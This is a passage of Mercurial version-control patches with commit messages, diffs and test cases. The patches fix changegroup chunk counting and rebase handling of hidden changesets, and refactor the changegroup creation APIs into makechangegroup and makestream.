+++ b/mercurial/extensions.py
@@ -377,7 +377,8 @@
             break
 
     origfn = entry[0]
-    wrap = bind(util.checksignature(wrapper), util.checksignature(origfn))
+    wrap = functools.partial(util.checksignature(wrapper),
+                             util.checksignature(origfn))
     _updatewrapper(wrap, origfn, wrapper)
     if docstring is not None:
         wrap.__doc__ += docstring
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1504748035 25200
#      Wed Sep 06 18:33:55 2017 -0700
# Node ID bbdca7e460c0d9e332c733b48715d81f7a565e3f
# Parent  a763c891f36e55f4869f443c220227d1da747d18
changegroup: fix to allow empty manifest parts

The current chunk reading algorithm relied on counting the number of empty
chunks and comparing it to the number of chunk lists it expected (1 list of
files for cg1 and cg2, and 1 list of files + 1 list of trees for cg3). This
implicitly assumed that both the changelog part and the manifestlog part were
never empty (since them being empty would cause it to count it as one list being
done, and screw up the count). In our treemanifest code, the manifest section
could be empty, so we need to handle that case.

This patches refactors that code to be more explicit about how it counts the
expected parts.

Differential Revision: https://phab.mercurial-scm.org/D646

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -199,23 +199,36 @@
         network API. To do so, it parse the changegroup data, otherwise it will
         block in case of sshrepo because it don't know the end of the stream.
         """
-        # an empty chunkgroup is the end of the changegroup
-        # a changegroup has at least 2 chunkgroups (changelog and manifest).
-        # after that, changegroup versions 1 and 2 have a series of groups
-        # with one group per file. changegroup 3 has a series of directory
-        # manifests before the files.
-        count = 0
-        emptycount = 0
-        while emptycount < self._grouplistcount:
-            empty = True
-            count += 1
+        # For changegroup 1 and 2, we expect 3 parts: changelog, manifestlog,
+        # and a list of filelogs. For changegroup 3, we expect 4 parts:
+        # changelog, manifestlog, a list of tree manifestlogs, and a list of
+        # filelogs.
+        #
+        # Changelog and manifestlog parts are terminated with empty chunks. The
+        # tree and file parts are a list of entry sections. Each entry section
+        # is a series of chunks terminating in an empty chunk. The list of these
+        # entry sections is terminated in yet another empty chunk, so we know
+        # we've reached the end of the tree/file list when we reach an empty
+        # chunk that was proceeded by no non-empty chunks.
+
+        parts = 0
+        while parts < 2 + self._grouplistcount:
+            noentries = True
             while True:
                 chunk = getchunk(self)
                 if not chunk:
-                    if empty and count > 2:
-                        emptycount += 1
+                    # The first two empty chunks represent the end of the
+                    # changelog and the manifestlog portions. The remaining
+                    # empty chunks represent either A) the end of individual
+                    # tree or file entries in the file list, or B) the end of
+                    # the entire list. It's the end of the entire list if there
+                    # were no entries (i.e. noentries is True).
+                    if parts < 2:
+                        parts += 1
+                    elif noentries:
+                        parts += 1
                     break
-                empty = False
+                noentries = False
                 yield chunkheader(len(chunk))
                 pos = 0
                 while pos < len(chunk):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504726800 25200
#      Wed Sep 06 12:40:00 2017 -0700
# Node ID 8a8e7a94ba0748cd3fa1e5069ef97469a1b04887
# Parent  bbdca7e460c0d9e332c733b48715d81f7a565e3f
rebase: do not crash rebasing merge with a parent having hidden successor

The added test will crash with previous code.

Differential Revision: https://phab.mercurial-scm.org/D640

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -1072,7 +1072,8 @@
     The new parents of a merge is slightly more complicated. See the comment
     block below.
     """
-    cl = repo.changelog
+    # use unfiltered changelog since successorrevs may return filtered nodes
+    cl = repo.unfiltered().changelog
     def isancestor(a, b):
         # take revision numbers instead of nodes
         if a == b:
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -1267,3 +1267,37 @@
   |/
   o  A
   
+Rebasing a merge with one of its parent having a hidden successor
+
+  $ hg init $TESTTMP/merge-p1-hidden-successor
+  $ cd $TESTTMP/merge-p1-hidden-successor
+
+  $ hg debugdrawdag <<'EOS'
+  >  E
+  >  |
+  > B3 B2 # amend: B1 -> B2 -> B3
+  >  |/   # B2 is hidden
+  >  |  D
+  >  |  |\
+  >  | B1 C
+  >  |/
+  >  A
+  > EOS
+
+  $ eval `hg tags -T '{tag}={node}\n'`
+  $ rm .hg/localtags
+
+  $ hg rebase -r $D -d $E
+  rebasing 5:9e62094e4d94 "D"
+
+  $ hg log -G
+  o    7:a699d059adcf D
+  |\
+  | o  6:ecc93090a95c E
+  | |
+  | o  4:0dc878468a23 B3
+  | |
+  o |  1:96cc3511f894 C
+   /
+  o  0:426bada5c675 A
+  
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504736599 25200
#      Wed Sep 06 15:23:19 2017 -0700
# Node ID 15ec3119d500b2aa065149a7ec9649787dc5d505
# Parent  8a8e7a94ba0748cd3fa1e5069ef97469a1b04887
rebase: use unfiltered repo when loading state

Before this patch, `rebase --abort` may fail to do the cleanup:

  $ hg rebase --abort
  rebase aborted (no revision is removed, only broken state is cleared)

The added test case makes sure `--abort` works in this case.

Differential Revision: https://phab.mercurial-scm.org/D643

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -198,7 +198,7 @@
 
     def restorestatus(self):
         """Restore a previously stored status"""
-        repo = self.repo
+        repo = self.repo.unfiltered()
         keepbranches = None
         legacydest = None
         collapse = False
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -1301,3 +1301,73 @@
    /
   o  0:426bada5c675 A
   
+For some reasons (--hidden, rebaseskipobsolete=0, directaccess, etc.),
+rebasestate may contain hidden hashes. "rebase --abort" should work regardless.
+
+  $ hg init $TESTTMP/hidden-state1
+  $ cd $TESTTMP/hidden-state1
+  $ cat >> .hg/hgrc <<EOF
+  > [experimental]
+  > rebaseskipobsolete=0
+  > EOF
+
+  $ hg debugdrawdag <<'EOS'
+  >    C
+  >    |
+  >  D B # prune: B, C
+  >  |/  # B/D=B
+  >  A
+  > EOS
+
+  $ eval `hg tags -T '{tag}={node}\n'`
+  $ rm .hg/localtags
+
+  $ hg update -q $C --hidden
+  $ hg rebase -s $B -d $D
+  rebasing 1:2ec65233581b "B"
+  merging D
+  warning: conflicts while merging D! (edit, then use 'hg resolve --mark')
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ cp -R . $TESTTMP/hidden-state2
+
+  $ hg log -G
+  @  2:b18e25de2cf5 D
+  |
+  | @  1:2ec65233581b B
+  |/
+  o  0:426bada5c675 A
+  
+  $ hg summary
+  parent: 2:b18e25de2cf5 tip
+   D
+  parent: 1:2ec65233581b  (obsolete)
+   B
+  branch: default
+  commit: 2 modified, 1 unknown, 1 unresolved (merge)
+  update: (current)
+  phases: 3 draft
+  rebase: 0 rebased, 2 remaining (rebase --continue)
+
+  $ hg rebase --abort
+  rebase aborted
+
+Also test --continue for the above case
+
+  $ cd $TESTTMP/hidden-state2
+  $ hg resolve -m
+  (no more unresolved files)
+  continue: hg rebase --continue
+  $ hg rebase --continue
+  rebasing 1:2ec65233581b "B"
+  rebasing 3:7829726be4dc "C" (tip)
+  $ hg log -G
+  @  5:1964d5d5b547 C
+  |
+  o  4:68deb90c12a2 B
+  |
+  o  2:b18e25de2cf5 D
+  |
+  o  0:426bada5c675 A
+  
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504739584 25200
#      Wed Sep 06 16:13:04 2017 -0700
# Node ID 5d45a997d11d810fb605cc6d8bb1c206813ba771
# Parent  15ec3119d500b2aa065149a7ec9649787dc5d505
rebase: remove complex unhiding code

This is similar to Martin von Zweigbergk's previous patch [1].

Previous patches are adding more `.unfiltered()` to the rebase code. So I
wonder: are we playing whack-a-mole regarding on `unfiltered()` in rebase?

Thinking about it, I believe most of the rebase code *should* just use an
unfiltered repo. The only exception is before we figuring out a
`rebasestate`. This patch makes it so. See added comment in code for why
that's more reasonable.

This would make the code base cleaner (not mangling the `repo` object),
faster (no need to invalidate caches), simpler (less LOC), less error-prone
(no need to think about what to unhide, ex. should we unhide wdir p2? how
about destinations?), and future proof (other code may change visibility in
an unexpected way, ex.  directaccess may make the destination only visible
when it's in "--dest" revset tree).

[1]: https://www.mercurial-scm.org/pipermail/mercurial-devel/2017-March/094277.html

Differential Revision: https://phab.mercurial-scm.org/D644

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -44,7 +44,6 @@
     phases,
     registrar,
     repair,
-    repoview,
     revset,
     revsetlang,
     scmutil,
@@ -137,7 +136,17 @@
         if opts is None:
             opts = {}
 
-        self.repo = repo
+        # prepared: whether we have rebasestate prepared or not. Currently it
+        # decides whether "self.repo" is unfiltered or not.
+        # The rebasestate has explicit hash to hash instructions not depending
+        # on visibility. If rebasestate exists (in-memory or on-disk), use
+        # unfiltered repo to avoid visibility issues.
+        # Before knowing rebasestate (i.e. when starting a new rebase (not
+        # --continue or --abort)), the original repo should be used so
+        # visibility-dependent revsets are correct.
+        self.prepared = False
+        self._repo = repo
+
         self.ui = ui
         self.opts = opts
         self.originalwd = None
@@ -166,6 +175,13 @@
         self.keepopen = opts.get('keepopen', False)
         self.obsoletenotrebased = {}
 
+    @property
+    def repo(self):
+        if self.prepared:
+            return self._repo.unfiltered()
+        else:
+            return self._repo
+
     def storestatus(self, tr=None):
         """Store the current status to allow recovery"""
         if tr:
@@ -198,6 +214,7 @@
 
     def restorestatus(self):
         """Restore a previously stored status"""
+        self.prepared = True
         repo = self.repo.unfiltered()
         keepbranches = None
         legacydest = None
@@ -266,7 +283,6 @@
         repo.ui.debug('computed skipped revs: %s\n' %
                         (' '.join(str(r) for r in sorted(skipped)) or None))
         repo.ui.debug('rebase status resumed\n')
-        _setrebasesetvisibility(repo, set(state.keys()) | {originalwd})
 
         self.originalwd = originalwd
         self.destmap = destmap
@@ -356,6 +372,8 @@
             if dest.closesbranch() and not self.keepbranchesf:
                 self.ui.status(_('reopening closed branch head %s\n') % dest)
 
+        self.prepared = True
+
     def _performrebase(self, tr):
         repo, ui = self.repo, self.ui
         if self.keepbranchesf:
@@ -1323,7 +1341,6 @@
 
 def clearstatus(repo):
     'Remove the status files'
-    _clearrebasesetvisibiliy(repo)
     # Make sure the active transaction won't write the state file
     tr = repo.currenttransaction()
     if tr:
@@ -1438,7 +1455,6 @@
     '''
     rebaseset = destmap.keys()
     originalwd = repo['.'].rev()
-    _setrebasesetvisibility(repo, set(rebaseset) | {originalwd})
 
     # This check isn't strictly necessary, since mq detects commits over an
     # applied patch. But it prevents messing up the working directory when
@@ -1580,30 +1596,6 @@
 
     return ret
 
-def _setrebasesetvisibility(repo, revs):
-    """store the currently rebased set on the repo object
-
-    This is used by another function to prevent rebased revision to because
-    hidden (see issue4504)"""
-    repo = repo.unfiltered()
-    repo._rebaseset = revs
-    # invalidate cache if visibility changes
-    hiddens = repo.filteredrevcache.get('visible', set())
-    if revs & hiddens:
-        repo.invalidatevolatilesets()
-
-def _clearrebasesetvisibiliy(repo):
-    """remove rebaseset data from the repo"""
-    repo = repo.unfiltered()
-    if '_rebaseset' in vars(repo):
-        del repo._rebaseset
-
-def _rebasedvisible(orig, repo):
-    """ensure rebased revs stay visible (see issue4504)"""
-    blockers = orig(repo)
-    blockers.update(getattr(repo, '_rebaseset', ()))
-    return blockers
-
 def _filterobsoleterevs(repo, revs):
     """returns a set of the obsolete revisions in revs"""
     return set(r for r in revs if repo[r].obsolete())
@@ -1668,5 +1660,3 @@
          _("use 'hg rebase --continue' or 'hg rebase --abort'")])
     cmdutil.afterresolvedstates.append(
         ['rebasestate', _('hg rebase --continue')])
-    # ensure rebased rev are not hidden
-    extensions.wrapfunction(repoview, 'pinnedrevs', _rebasedvisible)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504739824 25200
#      Wed Sep 06 16:17:04 2017 -0700
# Node ID 7471193be7255cebdb8ca559799bc7426c28cb8e
# Parent  5d45a997d11d810fb605cc6d8bb1c206813ba771
rebase: remove unnecessary '.unfiltered()' calls

Now we have a clear centric place to control whether `rbsrt.repo` is
unfiltered or not, we can drop `unfiltered()` in other places.

Differential Revision: https://phab.mercurial-scm.org/D645

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -192,7 +192,8 @@
                 self._writestatus(f)
 
     def _writestatus(self, f):
-        repo = self.repo.unfiltered()
+        repo = self.repo
+        assert repo.filtername is None
         f.write(repo[self.originalwd].hex() + '\n')
         # was "dest". we now write dest per src root below.
         f.write('\n')
@@ -215,7 +216,8 @@
     def restorestatus(self):
         """Restore a previously stored status"""
         self.prepared = True
-        repo = self.repo.unfiltered()
+        repo = self.repo
+        assert repo.filtername is None
         keepbranches = None
         legacydest = None
         collapse = False
@@ -1067,9 +1069,9 @@
               "experimental.allowdivergence=True")
         raise error.Abort(msg % (",".join(divhashes),), hint=h)
 
-def successorrevs(repo, rev):
+def successorrevs(unfi, rev):
     """yield revision numbers for successors of rev"""
-    unfi = repo.unfiltered()
+    assert unfi.filtername is None
     nodemap = unfi.changelog.nodemap
     for s in obsutil.allsuccessors(unfi.obsstore, [unfi[rev].node()]):
         if s in nodemap:
@@ -1091,7 +1093,8 @@
     block below.
     """
     # use unfiltered changelog since successorrevs may return filtered nodes
-    cl = repo.unfiltered().changelog
+    assert repo.filtername is None
+    cl = repo.changelog
     def isancestor(a, b):
         # take revision numbers instead of nodes
         if a == b:
@@ -1607,7 +1610,8 @@
     obsolete => None entries in the mapping indicate nodes with no successor"""
     obsoletenotrebased = {}
 
-    cl = repo.unfiltered().changelog
+    assert repo.filtername is None
+    cl = repo.changelog
     nodemap = cl.nodemap
     for srcrev in rebaseobsrevs:
         srcnode = cl.node(srcrev)
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505093942 25200
#      Sun Sep 10 18:39:02 2017 -0700
# Node ID f85dfde1731ae6a919565c2c30c46bb2bc23db01
# Parent  7471193be7255cebdb8ca559799bc7426c28cb8e
changegroup: replace getsubset with makechangegroup

The current changegroup APIs are a bit of a mess. Currently you can use
getsubsetraw, getsubset, changegroupsubset, getlocalchangegroupraw,
getchangegroup, and getlocalchangroup to produce changegroups. This patch is the
beginning of a refactor to boil all of that away to just makechangegroup and
makestream.

The first step adds the new functions and replaces getsubset function with them.

Differential Revision: https://phab.mercurial-scm.org/D664

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -912,6 +912,18 @@
         for node in nodes:
             repo.ui.debug("%s\n" % hex(node))
 
+def makestream(repo, outgoing, version, source, fastpath=False,
+               bundlecaps=None):
+    bundler = getbundler(version, repo, bundlecaps=bundlecaps)
+    return getsubsetraw(repo, outgoing, bundler, source, fastpath=fastpath)
+
+def makechangegroup(repo, outgoing, version, source, fastpath=False,
+                    bundlecaps=None):
+    cgstream = makestream(repo, outgoing, version, source,
+                          fastpath=fastpath, bundlecaps=bundlecaps)
+    return getunbundler(version, util.chunkbuffer(cgstream), None,
+                        {'clcount': len(outgoing.missing) })
+
 def getsubsetraw(repo, outgoing, bundler, source, fastpath=False):
     repo = repo.unfiltered()
     commonrevs = outgoing.common
@@ -928,11 +940,6 @@
     _changegroupinfo(repo, csets, source)
     return bundler.generate(commonrevs, csets, fastpathlinkrev, source)
 
-def getsubset(repo, outgoing, bundler, source, fastpath=False):
-    gengroup = getsubsetraw(repo, outgoing, bundler, source, fastpath)
-    return getunbundler(bundler.version, util.chunkbuffer(gengroup), None,
-                        {'clcount': len(outgoing.missing)})
-
 def changegroupsubset(repo, roots, heads, source, version='01'):
     """Compute a changegroup consisting of all the nodes that are
     descendants of any of the roots and ancestors of any of the heads.
@@ -947,8 +954,7 @@
     the changegroup a particular filenode or manifestnode belongs to.
     """
     outgoing = discovery.outgoing(repo, missingroots=roots, missingheads=heads)
-    bundler = getbundler(version, repo)
-    return getsubset(repo, outgoing, bundler, source)
+    return makechangegroup(repo, outgoing, version, source)
 
 def getlocalchangegroupraw(repo, source, outgoing, bundlecaps=None,
                            version='01'):
@@ -969,8 +975,8 @@
     precomputed sets in outgoing."""
     if not outgoing.missing:
         return None
-    bundler = getbundler(version, repo, bundlecaps)
-    return getsubset(repo, outgoing, bundler, source)
+    return makechangegroup(repo, outgoing, version, source,
+                           bundlecaps=bundlecaps)
 
 def getlocalchangegroup(repo, *args, **kwargs):
     repo.ui.deprecwarn('getlocalchangegroup is deprecated, use getchangegroup',
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -963,12 +963,8 @@
                             or pushop.repo.changelog.filteredrevs):
         # push everything,
         # use the fast path, no race possible on push
-        bundler = changegroup.cg1packer(pushop.repo, bundlecaps)
-        cg = changegroup.getsubset(pushop.repo,
-                                   outgoing,
-                                   bundler,
-                                   'push',
-                                   fastpath=True)
+        cg = changegroup.makechangegroup(pushop.repo, outgoing, '01', 'push',
+                fastpath=True, bundlecaps=bundlecaps)
     else:
         cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
                                         bundlecaps=bundlecaps)
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505094239 25200
#      Sun Sep 10 18:43:59 2017 -0700
# Node ID f7d41b85bbf69b7926823eb2993b3c487e7eff45
# Parent  f85dfde1731ae6a919565c2c30c46bb2bc23db01
changegroup: replace changegroupsubset with makechangegroup

As part of getting rid of all the permutations of changegroup creation, let's
remove changegroupsubset and call makechangegroup instead. This moves the
responsibility of creating the outgoing set to the caller, but that seems like a
relatively reasonable unit of functionality for the caller to have to care about
(i.e. what commits should be bundled).

Differential Revision: https://phab.mercurial-scm.org/D665

diff --git a/hgext/shelve.py b/hgext/shelve.py
--- a/hgext/shelve.py
+++ b/hgext/shelve.py
@@ -33,6 +33,7 @@
     bundlerepo,
     changegroup,
     cmdutil,
+    discovery,
     error,
     exchange,
     hg,
@@ -145,8 +146,11 @@
             btype = 'HG20'
             compression = 'BZ'
 
-        cg = changegroup.changegroupsubset(self.repo, bases, [node], 'shelve',
-                                           version=cgversion)
+        outgoing = discovery.outgoing(self.repo, missingroots=bases,
+                                      missingheads=[node])
+        cg = changegroup.makechangegroup(self.repo, outgoing, cgversion,
+                                         'shelve')
+
         bundle2.writebundle(self.ui, cg, self.fname, btype, self.vfs,
                                 compression=compression)
 
diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -940,22 +940,6 @@
     _changegroupinfo(repo, csets, source)
     return bundler.generate(commonrevs, csets, fastpathlinkrev, source)
 
-def changegroupsubset(repo, roots, heads, source, version='01'):
-    """Compute a changegroup consisting of all the nodes that are
-    descendants of any of the roots and ancestors of any of the heads.
-    Return a chunkbuffer object whose read() method will return
-    successive changegroup chunks.
-
-    It is fairly complex as determining which filenodes and which
-    manifest nodes need to be included for the changeset to be complete
-    is non-trivial.
-
-    Another wrinkle is doing the reverse, figuring out which changeset in
-    the changegroup a particular filenode or manifestnode belongs to.
-    """
-    outgoing = discovery.outgoing(repo, missingroots=roots, missingheads=heads)
-    return makechangegroup(repo, outgoing, version, source)
-
 def getlocalchangegroupraw(repo, source, outgoing, bundlecaps=None,
                            version='01'):
     """Like getbundle, but taking a discovery.outgoing as an argument.
@@ -985,7 +969,9 @@
 
 def changegroup(repo, basenodes, source):
     # to avoid a race we use changegroupsubset() (issue1320)
-    return changegroupsubset(repo, basenodes, repo.heads(), source)
+    outgoing = discovery.outgoing(repo, missingroots=basenodes,
+                                  missingheads=repo.heads())
+    return makechangegroup(repo, outgoing, '01', source)
 
 def _addchangegroupfiles(repo, source, revmap, trp, expectedfiles, needfiles):
     revisions = 0
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -31,6 +31,7 @@
     context,
     dirstate,
     dirstateguard,
+    discovery,
     encoding,
     error,
     exchange,
@@ -289,7 +290,9 @@
         return changegroup.changegroup(self._repo, basenodes, source)
 
     def changegroupsubset(self, bases, heads, source):
-        return changegroup.changegroupsubset(self._repo, bases, heads, source)
+        outgoing = discovery.outgoing(self._repo, missingroots=bases,
+                                      missingheads=heads)
+        return changegroup.makechangegroup(self._repo, outgoing, '01', source)
 
     # End of baselegacywirecommands interface.
 
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -21,6 +21,7 @@
 from . import (
     bundle2,
     changegroup as changegroupmod,
+    discovery,
     encoding,
     error,
     exchange,
@@ -801,7 +802,9 @@
 def changegroupsubset(repo, proto, bases, heads):
     bases = decodelist(bases)
     heads = decodelist(heads)
-    cg = changegroupmod.changegroupsubset(repo, bases, heads, 'serve')
+    outgoing = discovery.outgoing(repo, missingroots=bases,
+                                  missingheads=heads)
+    cg = changegroupmod.makechangegroup(repo, outgoing, '01', 'serve')
     return streamres(reader=cg, v1compressible=True)
 
 @wireprotocommand('debugwireargs', 'one two *')
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505095316 25200
#      Sun Sep 10 19:01:56 2017 -0700
# Node ID d8245139e720da795c0dbd5b77a8c0a080c5e882
# Parent  f7d41b85bbf69b7926823eb2993b3c487e7eff45
changegroup: replace getlocalchangegroupraw with makestream

As part of reducing the number of changegroup creation apis, let's replace calls
to getlocalchangegroupraw with calls to makestream. Aside from one case of
checking if there are no outgoing commits and returning None, this is pretty
much a drop in replacement.

Differential Revision: https://phab.mercurial-scm.org/D666

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -940,17 +940,6 @@
     _changegroupinfo(repo, csets, source)
     return bundler.generate(commonrevs, csets, fastpathlinkrev, source)
 
-def getlocalchangegroupraw(repo, source, outgoing, bundlecaps=None,
-                           version='01'):
-    """Like getbundle, but taking a discovery.outgoing as an argument.
-
-    This is only implemented for local repos and reuses potentially
-    precomputed sets in outgoing. Returns a raw changegroup generator."""
-    if not outgoing.missing:
-        return None
-    bundler = getbundler(version, repo, bundlecaps)
-    return getsubsetraw(repo, outgoing, bundler, source)
-
 def getchangegroup(repo, source, outgoing, bundlecaps=None,
                    version='01'):
     """Like getbundle, but taking a discovery.outgoing as an argument.
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -755,10 +755,9 @@
         if not cgversions:
             raise ValueError(_('no common changegroup version'))
         version = max(cgversions)
-    cg = changegroup.getlocalchangegroupraw(pushop.repo, 'push',
-                                            pushop.outgoing,
-                                            version=version)
-    cgpart = bundler.newpart('changegroup', data=cg)
+    cgstream = changegroup.makestream(pushop.repo, pushop.outgoing, version,
+                                      'push')
+    cgpart = bundler.newpart('changegroup', data=cgstream)
     if cgversions:
         cgpart.addparam('version', version)
     if 'treemanifest' in pushop.repo.requirements:
@@ -1621,7 +1620,7 @@
 def _getbundlechangegrouppart(bundler, repo, source, bundlecaps=None,
                               b2caps=None, heads=None, common=None, **kwargs):
     """add a changegroup part to the requested bundle"""
-    cg = None
+    cgstream = None
     if kwargs.get('cg', True):
         # build changegroup bundle here.
         version = '01'
@@ -1633,12 +1632,11 @@
                 raise ValueError(_('no common changegroup version'))
             version = max(cgversions)
         outgoing = _computeoutgoing(repo, heads, common)
-        cg = changegroup.getlocalchangegroupraw(repo, source, outgoing,
-                                                bundlecaps=bundlecaps,
-                                                version=version)
+        cgstream = changegroup.makestream(repo, outgoing, version, source,
+                                          bundlecaps=bundlecaps)
 
-    if cg:
-        part = bundler.newpart('changegroup', data=cg)
+    if cgstream:
+        part = bundler.newpart('changegroup', data=cgstream)
         if cgversions:
             part.addparam('version', version)
         part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505094459 25200
#      Sun Sep 10 18:47:39 2017 -0700
# Node ID 6097a616178d5a3533026da5091180bc6202f766
# Parent  d8245139e720da795c0dbd5b77a8c0a080c5e882
changegroup: delete getlocalchangegroup

As part of reducing the number of changegroup creation APIs, let's go ahead and
delete this unused function. It appears to have been deprecated in the last
release anyway.

Differential Revision: https://phab.mercurial-scm.org/D667

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -951,11 +951,6 @@
     return makechangegroup(repo, outgoing, version, source,
                            bundlecaps=bundlecaps)
 
-def getlocalchangegroup(repo, *args, **kwargs):
-    repo.ui.deprecwarn('getlocalchangegroup is deprecated, use getchangegroup',
-                       '4.3')
-    return getchangegroup(repo, *args, **kwargs)
-
 def changegroup(repo, basenodes, source):
     # to avoid a race we use changegroupsubset() (issue1320)
     outgoing = discovery.outgoing(repo, missingroots=basenodes,
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505094522 25200
#      Sun Sep 10 18:48:42 2017 -0700
# Node ID 1632999d4bed161eb0308eb9622a01b65b29e624
# Parent  6097a616178d5a3533026da5091180bc6202f766
changegroup: replace changegroup with makechangegroup

As part of reducing the number of changegroup creation APIs, let's replace the
changegroup function with makechangegroup. This pushes the responsibility of
creating the outgoing set to the caller, but that seems like a simple and
reasonable concept for the caller to be aware of.

Differential Revision: https://phab.mercurial-scm.org/D668

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -21,7 +21,6 @@
 
 from . import (
     dagutil,
-    discovery,
     error,
     mdiff,
     phases,
@@ -951,12 +950,6 @@
     return makechangegroup(repo, outgoing, version, source,
                            bundlecaps=bundlecaps)
 
-def changegroup(repo, basenodes, source):
-    # to avoid a race we use changegroupsubset() (issue1320)
-    outgoing = discovery.outgoing(repo, missingroots=basenodes,
-                                  missingheads=repo.heads())
-    return makechangegroup(repo, outgoing, '01', source)
-
 def _addchangegroupfiles(repo, source, revmap, trp, expectedfiles, needfiles):
     revisions = 0
     files = 0
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -287,7 +287,9 @@
         return self._repo.branches(nodes)
 
     def changegroup(self, basenodes, source):
-        return changegroup.changegroup(self._repo, basenodes, source)
+        outgoing = discovery.outgoing(self._repo, missingroots=basenodes,
+                                      missingheads=self._repo.heads())
+        return changegroup.makechangegroup(self._repo, outgoing, '01', source)
 
     def changegroupsubset(self, bases, heads, source):
         outgoing = discovery.outgoing(self._repo, missingroots=bases,
diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -795,7 +795,9 @@
 @wireprotocommand('changegroup', 'roots')
 def changegroup(repo, proto, roots):
     nodes = decodelist(roots)
-    cg = changegroupmod.changegroup(repo, nodes, 'serve')
+    outgoing = discovery.outgoing(repo, missingroots=nodes,
+                                  missingheads=repo.heads())
+    cg = changegroupmod.makechangegroup(repo, outgoing, '01', 'serve')
     return streamres(reader=cg, v1compressible=True)
 
 @wireprotocommand('changegroupsubset', 'bases heads')
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505094612 25200
#      Sun Sep 10 18:50:12 2017 -0700
# Node ID 5ede882c249c362935678e0d386e8072002ca38a
# Parent  1632999d4bed161eb0308eb9622a01b65b29e624
changegroup: replace getchangegroup with makechangegroup

As part of reducing the number of changegroup creation APIs, let's replace
getchangegroup with calls to makechangegroup. This is mostly a drop in
replacement, but it does change the version specifier to be required, so it's
more obvious which callers are creating old version 1 changegroups still.

Differential Revision: https://phab.mercurial-scm.org/D669

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1393,7 +1393,7 @@
 def writenewbundle(ui, repo, source, filename, bundletype, outgoing, opts,
                    vfs=None, compression=None, compopts=None):
     if bundletype.startswith('HG10'):
-        cg = changegroup.getchangegroup(repo, source, outgoing, version='01')
+        cg = changegroup.makechangegroup(repo, outgoing, '01', source)
         return writebundle(ui, cg, filename, bundletype, vfs=vfs,
                            compression=compression, compopts=compopts)
     elif not bundletype.startswith('HG20'):
@@ -1421,8 +1421,7 @@
     cgversion = opts.get('cg.version')
     if cgversion is None:
         cgversion = changegroup.safeversion(repo)
-    cg = changegroup.getchangegroup(repo, source, outgoing,
-                                    version=cgversion)
+    cg = changegroup.makechangegroup(repo, outgoing, cgversion, source)
     part = bundler.newpart('changegroup', data=cg.getchunks())
     part.addparam('version', cg.version)
     if 'clcount' in cg.extras:
diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -939,17 +939,6 @@
     _changegroupinfo(repo, csets, source)
     return bundler.generate(commonrevs, csets, fastpathlinkrev, source)
 
-def getchangegroup(repo, source, outgoing, bundlecaps=None,
-                   version='01'):
-    """Like getbundle, but taking a discovery.outgoing as an argument.
-
-    This is only implemented for local repos and reuses potentially
-    precomputed sets in outgoing."""
-    if not outgoing.missing:
-        return None
-    return makechangegroup(repo, outgoing, version, source,
-                           bundlecaps=bundlecaps)
-
 def _addchangegroupfiles(repo, source, revmap, trp, expectedfiles, needfiles):
     revisions = 0
     files = 0
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -965,8 +965,8 @@
         cg = changegroup.makechangegroup(pushop.repo, outgoing, '01', 'push',
                 fastpath=True, bundlecaps=bundlecaps)
     else:
